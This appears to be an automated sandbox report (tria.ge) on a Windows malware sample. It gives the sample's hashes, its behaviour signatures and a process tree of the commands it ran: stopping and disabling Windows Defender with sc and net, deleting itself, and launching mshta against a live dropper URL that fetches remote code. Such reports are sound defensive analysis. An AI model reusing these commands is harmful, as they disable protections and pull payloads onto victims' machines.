Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2024, 05:14

General

  • Target

    eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe

  • Size

    2.2MB

  • MD5

    eaa6966575d28fa84ddcf3ba17c4d07e

  • SHA1

    f5f44be0cb637bea6348e506ee94136bb41bfa8f

  • SHA256

    16fed893171b69ceb22b85992f486ff2fd45d26de273deced2fb46b2517d755f

  • SHA512

    57769e221cf3127284ded0c043d977168a7d5395abc2d095cbbd7564f0e5bae5574100e1364df2116e29db4244eea87d344041983c2a62328f3a12f24f72060d

  • SSDEEP

    49152:mDwQZshctg3xglTVGI8HoBfAIPYiiqowvq00p7PiKXT0phLdlh:mDwQEuUxglcI8HoiIrwzXopZdL

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=UPNECVIU&2=i-s&3=17&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\eaa6966575d28fa84ddcf3ba17c4d07e_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2720
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2264
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2308
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2880
    • C:\Users\Admin\AppData\Roaming\Microsoft\phyfre.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\phyfre.exe
      2⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2620
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2896
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1644
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2612
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2664
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2632
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=UPNECVIU&2=i-s&3=17&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:524
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EAA696~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2700

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \Users\Admin\AppData\Roaming\Microsoft\phyfre.exe

    Filesize

    2.2MB

    MD5

    eaa6966575d28fa84ddcf3ba17c4d07e

    SHA1

    f5f44be0cb637bea6348e506ee94136bb41bfa8f

    SHA256

    16fed893171b69ceb22b85992f486ff2fd45d26de273deced2fb46b2517d755f

    SHA512

    57769e221cf3127284ded0c043d977168a7d5395abc2d095cbbd7564f0e5bae5574100e1364df2116e29db4244eea87d344041983c2a62328f3a12f24f72060d

  • memory/1800-17-0x0000000003620000-0x0000000003621000-memory.dmp

    Filesize

    4KB

  • memory/1800-30-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-38-0x00000000033F0000-0x00000000033F2000-memory.dmp

    Filesize

    8KB

  • memory/1800-37-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/1800-36-0x0000000003450000-0x0000000003451000-memory.dmp

    Filesize

    4KB

  • memory/1800-35-0x0000000003400000-0x0000000003402000-memory.dmp

    Filesize

    8KB

  • memory/1800-34-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-33-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-32-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-16-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-41-0x0000000003420000-0x0000000003421000-memory.dmp

    Filesize

    4KB

  • memory/1800-29-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-28-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-27-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-26-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-25-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-24-0x0000000002080000-0x00000000020DA000-memory.dmp

    Filesize

    360KB

  • memory/1800-23-0x0000000003620000-0x0000000003621000-memory.dmp

    Filesize

    4KB

  • memory/1800-22-0x0000000003620000-0x0000000003621000-memory.dmp

    Filesize

    4KB

  • memory/1800-21-0x0000000003620000-0x0000000003621000-memory.dmp

    Filesize

    4KB

  • memory/1800-20-0x0000000003620000-0x0000000003621000-memory.dmp

    Filesize

    4KB

  • memory/1800-19-0x0000000003620000-0x0000000003621000-memory.dmp

    Filesize

    4KB

  • memory/1800-39-0x00000000001B0000-0x00000000001B1000-memory.dmp

    Filesize

    4KB

  • memory/1800-18-0x0000000003620000-0x0000000003621000-memory.dmp

    Filesize

    4KB

  • memory/1800-31-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/1800-15-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-14-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-13-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-12-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-11-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-10-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-9-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-8-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-7-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-6-0x0000000002060000-0x0000000002061000-memory.dmp

    Filesize

    4KB

  • memory/1800-5-0x0000000002010000-0x0000000002011000-memory.dmp

    Filesize

    4KB

  • memory/1800-4-0x0000000002040000-0x0000000002041000-memory.dmp

    Filesize

    4KB

  • memory/1800-3-0x0000000000A30000-0x0000000000A31000-memory.dmp

    Filesize

    4KB

  • memory/1800-2-0x0000000001FE0000-0x0000000001FE1000-memory.dmp

    Filesize

    4KB

  • memory/1800-1-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

    Filesize

    4KB

  • memory/1800-0-0x0000000000400000-0x000000000082F000-memory.dmp

    Filesize

    4.2MB

  • memory/1800-42-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/1800-50-0x00000000047E0000-0x0000000004C0F000-memory.dmp

    Filesize

    4.2MB

  • memory/1800-53-0x0000000002080000-0x00000000020DA000-memory.dmp

    Filesize

    360KB

  • memory/1800-40-0x00000000001C0000-0x00000000001C1000-memory.dmp

    Filesize

    4KB

  • memory/1800-54-0x0000000000400000-0x000000000082F000-memory.dmp

    Filesize

    4.2MB

  • memory/2620-55-0x0000000000400000-0x000000000082F000-memory.dmp

    Filesize

    4.2MB

  • memory/2620-56-0x0000000000400000-0x000000000082F000-memory.dmp

    Filesize

    4.2MB